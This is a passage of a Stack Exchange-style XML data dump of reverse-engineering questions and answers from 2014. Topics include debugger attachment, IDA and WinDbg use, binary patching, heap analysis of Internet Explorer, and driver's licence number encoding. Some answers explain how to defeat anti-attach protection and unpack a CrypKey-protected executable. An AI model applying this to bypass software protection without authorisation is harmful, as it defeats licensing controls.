function that is of concern in this problem is RtlIsValidHandler().  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly it calls RtlLookupFunctionTable() which looks through the PEB to find the image the handler resides in. MemoryModule does NOT add your library to the PEB lists of loaded modules - so that won't find your DLL.&lt;br&gt;&#xA;But after returning there is a further check - all handler must reside in memory pages marked as &lt;code&gt;SEC_IMAGE&lt;/code&gt;. This value cannot be set by usermode code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some ways around this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch to VEH exceptions&lt;/li&gt;&#xA;&lt;li&gt;build a VEH handler that recognizes exception from your code (&lt;a href=&quot;https://github.com/DarthTon/Blackbone&quot; rel=&quot;nofollow&quot;&gt;BlackBone&lt;/a&gt; does that) and handles them &lt;/li&gt;&#xA;&lt;li&gt;hook functions to lie that your DLL has the image flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2014-10-11T14:39:17.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6427" PostTypeId="1" AcceptedAnswerId="6431" CreationDate="2014-10-11T15:14:43.567" Score="2" ViewCount="10496" Body="&lt;p&gt;I have a target application protected with CrypKey.&#xA;When i try to attach to the apps in OllyDbg and Ida Pro i receive Unable to attach to this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is that i want to unpack the main exe after executing of Crypkey loader but after patching main exe and loader to obtain an infinite loop at the end of the code of the loader i am unable to attach to main exe and reach the OEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how or why i am unable to attack? A good solution in this cases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vec2o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3214" LastEditorUserId="3214" LastEditDate="2014-10-11T16:07:20.397" LastActivityDate="2014-10-11T16:43:41.723" Title="Ollydbg and IDA Pro unable to attach to process" Tags="|ida|ollydbg|anti-debugging|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6428" PostTypeId="2" ParentId="6427" CreationDate="2014-10-11T15:48:16.207" Score="1" Body="&lt;p&gt;Use a anti-anti-debug plugin that supports &quot;kill anti-attach&quot; like &lt;a href=&quot;http://scyllahide.tk&quot; rel=&quot;nofollow&quot;&gt;ScyllaHide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-11T15:48:16.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6429" PostTypeId="2" ParentId="6419" CreationDate="2014-10-11T15:50:46.240" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;nofollow&quot;&gt;x64dbg&lt;/a&gt;. It works perfectly with x86 and x64 on modern windows and you can patch and save like in Olly. Overall the interface is very similar looking to olly&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-11T15:50:46.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6430" PostTypeId="1" AcceptedAnswerId="6432" CreationDate="2014-10-11T16:14:53.317" Score="0" ViewCount="1183" Body="&lt;p&gt;Is there a way to dump the stack  of a program while debugging in ollydbg and store the result in a file  ? &lt;/p&gt;&#xA;" OwnerUserId="8712" LastActivityDate="2014-10-11T17:16:03.197" Title="Dump the stack in Ollydbg" Tags="|ollydbg|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6431" PostTypeId="2" ParentId="6427" CreationDate="2014-10-11T16:43:41.723" Score="3" Body="&lt;p&gt;Debug the loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a breakpoint on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CreateProcess&lt;/code&gt;&lt;/a&gt; &lt;em&gt;(or &lt;a href=&quot;http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/process/ntcreateprocess.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ZwCreateProcess&lt;/code&gt;&lt;/a&gt; if needed)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the breakpoint is hit modify the &lt;em&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684863(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;process creation flags&lt;/a&gt;&lt;/em&gt; on the stack to include &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt;. &#xA;Make sure to remove any debugging related flags such as &lt;code&gt;DEBUG_ONLY_THIS_PROCESS&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single step over the &lt;code&gt;CreateProcess&lt;/code&gt; call. At this point, the child process would be created in a suspended state. Now you should be able to attach a debugger to this.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-10-11T16:43:41.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6432" PostTypeId="2" ParentId="6430" CreationDate="2014-10-11T17:16:03.197" Score="2" Body="&lt;pre&gt;&lt;code&gt;alt + k -&amp;gt; right click -&amp;gt; copy to clipboard whole table -&amp;gt; paste to notepad -&amp;gt; save&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-10-11T17:16:03.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6433" PostTypeId="1" CreationDate="2014-10-12T05:55:08.910" Score="3" ViewCount="685" Body="&lt;p&gt;I am looking to disassemble an instruction at an address. I know that there are many instructions that can accomplish this such as &lt;code&gt;idc.GetDisasm()&lt;/code&gt;, &lt;code&gt;idc.GetDisasmEx()&lt;/code&gt;, &lt;code&gt;idaapi.generate_disassembly()&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I disassemble a line that has a variable in it, the variable appears in the disassembly. ie &lt;code&gt;38 81 00 38&lt;/code&gt; disassembles as &lt;code&gt;addi r4, r1, 0x80+var_48&lt;/code&gt; instead of &lt;code&gt;addi r4, r1, 0x38&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to disassemble this in the latter form ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="53" LastEditDate="2014-10-13T08:23:51.117" LastActivityDate="2014-10-13T08:23:51.117" Title="Disassemble instruction with a variable as an offset" Tags="|disassembly|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6434" PostTypeId="1" AcceptedAnswerId="6449" CreationDate="2014-10-12T17:47:50.137" Score="1" ViewCount="256" Body="&lt;p&gt;I am attempting to recover the architecture for an open source application (Written in Java). Obviously I have looked at the available documentation but it has not given me the detail that I need to know. I would like to know what would be the best approach or the most used approach to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that using request traces would be a good place to start (using something like btrace)? So lets say that the application is a basic web server would you make basic http request while doing the request tracing and then draw a sequence diagram from the data to visualize the process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also heard that generating a uml diagram from the source could be usefull? The project in question has over 300 classes so how would you proceed in generating the diagram, which parts of the system and which diagrams (class diagram maybe)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also are there any other methods that are know to be effective that I should try specifically for a java application that sends and receives requests across a network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just trying to get a general direction to follow, or a pointer to a process that generally works well or any advice that would make the process easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I hope to achieve is a high level architecture design specification for the system. This includes architectural patterns as well as tactics used to achieve specific non-functional requirements (caching for performance). This is what the architecture currently looks like. It should be possible to, from the design spec, analyse the architecture and extend or change the design to possibly improve it or to cater for different non-function requirements.&lt;/p&gt;&#xA;" OwnerUserId="4689" LastEditorUserId="4689" LastEditDate="2014-10-14T05:40:18.780" LastActivityDate="2014-10-14T14:09:25.500" Title="Recover architecture. Open source application" Tags="|java|" AnswerCount="1" CommentCount="5" ClosedDate="2014-10-15T13:31:41.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="6435" PostTypeId="1" CreationDate="2014-10-12T20:00:04.803" Score="1" ViewCount="1537" Body="&lt;p&gt;As part of an assignment, dealing with the operation aurora vulnerability, I am supposed to determine the size of C++ classes allocated on the heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:017&amp;gt; !heap -p -a &amp;lt;address of the class I am researching&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address 047dcf08 found in&#xA;  _DPH_HEAP_ROOT @ 12d1000&#xA;  in busy allocation (DPH_HEAP_BLOCK:     UserAddr     UserSize -    VirtAddr   VirtSize)&#xA;                             4501270:      47dcf08           f8 -     47dc000       2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the user size, the object is &lt;code&gt;0xf8&lt;/code&gt; in size, but are there any header/trailer bytes that need to be subtracted to get the actual size of the class in this allocation block ?&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="53" LastEditDate="2014-10-13T08:30:39.860" LastActivityDate="2014-10-15T07:49:18.623" Title="Determining the size of an object allocated on the heap" Tags="|debugging|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6436" PostTypeId="1" AcceptedAnswerId="6442" CreationDate="2014-10-12T20:05:06.883" Score="3" ViewCount="1845" Body="&lt;p&gt;As part of an assignment, I am delving into the world of Internet Explorer, and am trying to figure out exactly what class(es) are being allocated on the heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;mshtml!CEventObj::GenericGetElement()&lt;/code&gt; method, the &lt;code&gt;eax&lt;/code&gt; register points to an instance of a class, &lt;code&gt;edi&lt;/code&gt; points to the object it references, and &lt;code&gt;esi&lt;/code&gt; points to the vftable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This being said, I inserted a breakpoint that would list these registers each time through the function, and they always point to the same vftable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vftable in question is &lt;code&gt;mshtml!CBodyElement&lt;/code&gt;, but does this actually mean that all these instances are of the &lt;code&gt;CBodyElement&lt;/code&gt;, or could they be for classes derived from &lt;code&gt;CBodyElement&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are from derived classes, how do I determine the actual classes being allocated ?&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="53" LastEditDate="2014-10-13T08:26:36.807" LastActivityDate="2014-10-13T21:48:08.193" Title="Windbg: going from vftable to c++ class" Tags="|dynamic-analysis|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6437" PostTypeId="2" ParentId="6433" CreationDate="2014-10-12T20:26:37.457" Score="1" Body="&lt;p&gt;You'll have to set the operand type, there are various functions to accomplish that. &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#OpHex&quot; rel=&quot;nofollow&quot;&gt;OpHex&lt;/a&gt; is most likely what you want to use.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-12T20:26:37.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6438" PostTypeId="2" ParentId="6433" CreationDate="2014-10-13T02:20:37.333" Score="1" Body="&lt;p&gt;not idapython but idc &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto i;&#xA;&#xA;for (  i = MinEA() ; i &amp;lt; MaxEA() ; i = NextHead(i, MaxEA()) )&#xA;{&#xA;    OpHex(i,-1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;take a look here for bit more details&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013&quot;&gt;Convert [arg8+foo-blah+28] to [ebp+38] &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-13T02:20:37.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6439" PostTypeId="2" ParentId="6419" CreationDate="2014-10-13T06:34:13.247" Score="3" Body="&lt;p&gt;There are a few really great options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, something that I frequently forget when doing patching is that &lt;code&gt;LD_PRELOAD&lt;/code&gt; makes hooking/redirecting library routines very easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must patch instructions, the tools that I use on a regular basis are &lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;pwntools&lt;/code&gt;&lt;/a&gt; (a Python library) and &lt;a href=&quot;https://isisblogs.poly.edu/2014/04/02/the-other-kind-of-patch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Fentanyl&lt;/code&gt;&lt;/a&gt; (an IDAPython script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;pwntools&lt;/code&gt;, the following would be an example of patching an instruction at file-address 0x1234, which we'll say is virtual-address 0x8001234.  Note that this support is limited to ELF files, and does not work for PEs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;from pwn import *&#xA;file = ELF('/path/to/elf')&#xA;file.asm(0x8001234, 'nop') # Using virtual address&#xA;file.asm(file.offset_to_vaddr(0x1234), 'nop') # File offset&#xA;file.save('/path/to/output')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Fentanyl is GUI-driven, but it works pretty well and even nop-pads your instructions and fixes offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YsyMG.gif&quot; alt=&quot;Fentanyl demo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2014-10-13T07:00:56.827" LastActivityDate="2014-10-13T07:00:56.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6440" PostTypeId="1" CreationDate="2014-10-13T21:26:49.570" Score="5" ViewCount="69264" Body="&lt;p&gt;Driver's License numbers in New Jersey aren't random. They follow &lt;a href=&quot;http://www.highprogrammer.com/alan/numbers/dl_us_nj.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the format: &lt;code&gt;Affff lllii mmyye&lt;/code&gt;&lt;/a&gt;, where &lt;code&gt;A&lt;/code&gt; is the first letter of the person's last name, &lt;code&gt;ffff&lt;/code&gt; is some mapping of the remaining letters of the last name to a four digit numeric, &lt;code&gt;lll&lt;/code&gt; is a mapping of the full first name to a three digit numeric and &lt;code&gt;ii&lt;/code&gt; is a code representing the middle initial (according to the below table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|   | 6 | 7 | 8 |&#xA;|---|---|---|---|&#xA;| 1 | a | j |   |&#xA;| 2 | b | k | s |&#xA;| 3 | c | l | t |&#xA;| 4 | d | m | u |&#xA;| 5 | e | n | v |&#xA;| 6 | f | o | w |&#xA;| 7 | g | p | x |&#xA;| 8 | h | q | y |&#xA;| 9 | i | r | z |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the number corresponding to the initial is 10*column number + row number.  mm corresponds to the month born, and &lt;code&gt;yy&lt;/code&gt; to the year born.  &lt;code&gt;e&lt;/code&gt; is the eye color (a value 1-8 corresponding to &lt;code&gt;BRO&lt;/code&gt;, &lt;code&gt;BLU&lt;/code&gt;, &lt;code&gt;GRY&lt;/code&gt;, &lt;code&gt;GRN&lt;/code&gt;, &lt;code&gt;BLK&lt;/code&gt;, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I don't understand is how the names are mapped to the integer values.  I only have 5 examples for the last name mappings: (ignoring the first letter because it doesn't play into the mapping&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab    -&amp;gt; 0001&#xA;ackson -&amp;gt; 0062&#xA;eals   -&amp;gt; 2024&#xA;eimel  -&amp;gt; 2278&#xA;ounds  -&amp;gt; 6810&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For first names, I only have four:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alexander -&amp;gt; 019&#xA;Richard   -&amp;gt; 655&#xA;John      -&amp;gt; 407&#xA;Matthew   -&amp;gt; 529&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how the implementation is done, or even a general mapping function that will hash a max 25 length string to a four digit or three digit number while maintaining lexicographical order (&amp;lt;=, not &amp;lt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I've Tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Convert each letter to a number 1-26.&lt;/em&gt;  Then, taking only the first four numbers, create the number by the rule 26^3 * first number + 26^2 * second number + 26 * third + fourth.  Then, divide this number by 26^4 + 26^3 + 26^2 + 26, and multiply by 10000 to map the decimal into 0-9999.  This produces the following mappings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab -&amp;gt; 0000&#xA;ackson -&amp;gt; 0035&#xA;eals -&amp;gt; 1547&#xA;emiel -&amp;gt; 1722&#xA;ounds -&amp;gt; 5695&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Get a list of the top 10,000 most common surnames.&lt;/em&gt;  Order by the second letter, and then check the index.  This produces the following mappings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab -&amp;gt; 0005&#xA;ackson -&amp;gt; 0128&#xA;eals -&amp;gt; 2813&#xA;emiel -&amp;gt; 3235&#xA;ounds -&amp;gt; 7588&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Each letter subdivides the 10,000&lt;/em&gt;.  The first number (according to 1-26) cuts it into one of 26 pieces.  The second cuts the piece into one of 26, and so on and so forth.  This produces the following mappings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab -&amp;gt; 0000&#xA;ackson -&amp;gt; 0028&#xA;eals -&amp;gt; 1536&#xA;emiel -&amp;gt; 1648&#xA;ounds -&amp;gt; 5656&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Convert each of the first four letters to 1-26.&lt;/em&gt;  Concatenate all of them, multiply the resulting number by 10,000, and divide by 26262626.  This produces the following mappings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab -&amp;gt; 0003&#xA;ackson -&amp;gt; 0392&#xA;eals -&amp;gt; 1908&#xA;emiel -&amp;gt; 1953&#xA;ounds -&amp;gt; 5792&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Do the above with 0-25, divide by 25252525.&lt;/em&gt;  This produces the following mappings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab -&amp;gt; 0000&#xA;ackson -&amp;gt; 0008&#xA;eals -&amp;gt; 1584&#xA;emiel -&amp;gt; 1631&#xA;ounds -&amp;gt; 5623&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Samples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I believe all of the above samples are correct, I tried to track down more authentic sample data points.  Ones that I can guarantee are below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last Names&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;avis -&amp;gt; 0921&#xA;eals -&amp;gt; 2024&#xA;olff -&amp;gt; 6247&#xA;orello -&amp;gt; 6581&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First Names&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alexander -&amp;gt; 019&#xA;Andrew -&amp;gt; 042&#xA;Gabriel -&amp;gt; 270&#xA;Lena -&amp;gt; 456&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8389" LastEditorUserId="8389" LastEditDate="2018-03-20T19:21:04.083" LastActivityDate="2021-03-16T20:05:43.177" Title="Decoding New Jersey Driver's License Codes" Tags="|encryption|encodings|" AnswerCount="6" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="6441" PostTypeId="2" ParentId="6435" CreationDate="2014-10-13T21:34:11.813" Score="2" Body="&lt;p&gt;No, &lt;code&gt;UserSize&lt;/code&gt; is the size that was sent to the allocator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;malloc(0x100); // usersize 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The obvious exception to this would be if you're using a custom heap allocator built on top of the standard heap allocator.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-10-13T21:34:11.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6442" PostTypeId="2" ParentId="6436" CreationDate="2014-10-13T21:48:08.193" Score="2" Body="&lt;p&gt;A derived class will get its own &lt;code&gt;vtable&lt;/code&gt; if it overrides any of the virtual functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the derived class does not override any virtual functions, it will use the original &lt;code&gt;vtable&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say that your assumption is correct ~90% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best that you can do for &lt;em&gt;static&lt;/em&gt; type recovery, is to look at the &lt;code&gt;vtable&lt;/code&gt; being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do to help a bit is to turn one PageHeap with stack tracking (&lt;code&gt;gflags.exe /i iexplore.exe +hpa +ust&lt;/code&gt;) and look at the address allocated for the object (&lt;code&gt;!heap -p -a 0xaddress&lt;/code&gt;).  This will give you a full stack trace to the allocation-site of the object, which is sometimes to determine the type of object (e.g. if a &lt;code&gt;Factory&lt;/code&gt; pattern was used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there are additional dynamic analysis tricks you can play.  I wrote a Pin tool and IDA Python plugin, &lt;a href=&quot;https://github.com/zachriggle/ida-splode&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida-splode&lt;/a&gt; for almost exactly this application.  By capturing information at runtime, you can enhance your IDA traces.  Below is an example screenshot from the slide deck.  The better symbol information you have (or the better fleshed-out your IDB is), the better the information you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A0XBu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-10-13T21:48:08.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6443" PostTypeId="2" ParentId="6064" CreationDate="2014-10-13T21:55:25.140" Score="3" Body="&lt;p&gt;The &lt;code&gt;SIGTRAP&lt;/code&gt; is generally raised by a debug break exception (&lt;code&gt;int 3&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When IDA receives it, it's asking you whether to pass it to the program (unhandled).  If you do, and you do not have a signal handler installed for &lt;code&gt;SIGTRAP&lt;/code&gt;, the program will die with a &lt;code&gt;SIGTRAP&lt;/code&gt; error, as you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want IDA to &lt;strong&gt;discard&lt;/strong&gt; the exception, and continue execution (if you want to continue) or &lt;strong&gt;suspend&lt;/strong&gt; to investigate state in IDA.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-10-13T21:55:25.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6444" PostTypeId="1" AcceptedAnswerId="6450" CreationDate="2014-10-14T03:48:04.193" Score="0" ViewCount="1239" Body="&lt;p&gt;There are lots of programs I seen that can locate a swf running in memory, capture it and return source code. Usually the AS byte code is generated as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I looking to do is the opposite, I'm trying to match a section of Action Script byte-code to a section of disassembly from a Shockwave Flash program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically match p-code to disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good techniques or software that can do this.&lt;/p&gt;&#xA;" OwnerUserId="9759" LastEditorUserId="9759" LastEditDate="2014-10-16T01:01:10.930" LastActivityDate="2014-10-16T01:01:10.930" Title="Matching ActionScript byte code to the Disassembly of a Shockwave Flash" Tags="|assembly|byte-code|actionscript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6445" PostTypeId="1" CreationDate="2014-10-14T04:00:10.747" Score="3" ViewCount="2247" Body="&lt;p&gt;When the ELF file loading process, &lt;code&gt;.text&lt;/code&gt; section is mapped to a memory segment. I would like to know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the maximum value of a segment size ? &lt;/li&gt;&#xA;&lt;li&gt;What is the maximum value of &lt;code&gt;.text&lt;/code&gt; section size ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6903" LastEditorUserId="53" LastEditDate="2014-10-14T06:46:53.700" LastActivityDate="2017-07-12T09:25:18.473" Title="Maximum size of .text section?" Tags="|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6446" PostTypeId="2" ParentId="6435" CreationDate="2014-10-14T05:59:38.787" Score="2" Body="&lt;p&gt;This is not a direct answer but windbg has a nice command that &lt;em&gt;lets you &quot;decipher&quot;&lt;/em&gt; the answer to most of these question &lt;em&gt;by yourself&lt;/em&gt; the name of the command is &lt;code&gt;.ocommand&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an example showing how you can ascertain what usersize points to using this command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;void dbg (PCHAR cmdstr , PVOID value) {&#xA;    char buff[0x300] = {0};&#xA;    sprintf_s(buff,cmdstr,value);&#xA;    OutputDebugStringA(buff);&#xA;    return ;&#xA;}&#xA;int main(void) {&#xA;    printf (&#xA;        &quot;This is a windbg .ocommand Example\n&quot;&#xA;        &quot;This command can be leveraged to execute windbg commands \n&quot;&#xA;        &quot;For example command !heap -p -a is performed on allocated heap\n&quot;&#xA;        &quot;Output of !heap -p -a &amp;lt;address&amp;gt; can be viewed in windbg \n&quot;&#xA;        &quot;issue .ocommand myjick in windbg prior to running this exe\n&quot;&#xA;        &quot;or run this exe with windbg -c \&quot;.ocommand myjick\&quot; ocommand.exe\n&quot;&#xA;        );&#xA;    HANDLE hHeap = NULL;   &#xA;    if((hHeap = GetProcessHeap() ) != NULL)     {&#xA;        for (int i = 1 ; i&amp;lt; 6; i++)  {&#xA;            PCHAR mem[6] = {0};&#xA;            if (( mem[i] = (PCHAR)HeapAlloc(hHeap,0,0x101*i) ) != NULL)   {&#xA;                dbg(&quot;myjick !heap -p -a %x ;g;\n\n&quot;,mem[i]);&#xA;            }&#xA;        }&#xA;    }&#xA;    return 0; //all the allocated heaps need to be freed&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output for the above code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cdb -c &quot;.ocommand myjick ;g;q&quot; ocommand.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; cdb: Reading initial command '.ocommand myjick ;g;q'&#xA;Treat output prefixed with 'myjick ' as a command&#xA;&#xA;This is a windbg .ocommand Example&#xA;This command can be leveraged to execute windbg commands&#xA;For example command !heap -p -a is performed on allocated heap&#xA;Output of !heap -p -a &amp;lt;address&amp;gt; can be viewed in windbg&#xA;issue .ocommand myjick in windbg prior to running this exe&#xA;or run this exe with windbg -c &quot;.ocommand myjick&quot; ocommand.exe &#xA;&#xA;    address 001537e8 found in&#xA;    _HEAP @ 150000&#xA;      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state&#xA;        001537e0 0024 0000  [07]   001537e8    00101 - (busy)    &#xA;    address 00153908 found in&#xA;    _HEAP @ 150000&#xA;      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state&#xA;        00153900 0044 0000  [07]   00153908    00202 - (busy)    &#xA;    address 00153b28 found in&#xA;    _HEAP @ 150000&#xA;      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state&#xA;        00153b20 0064 0000  [07]   00153b28    00303 - (busy)    &#xA; 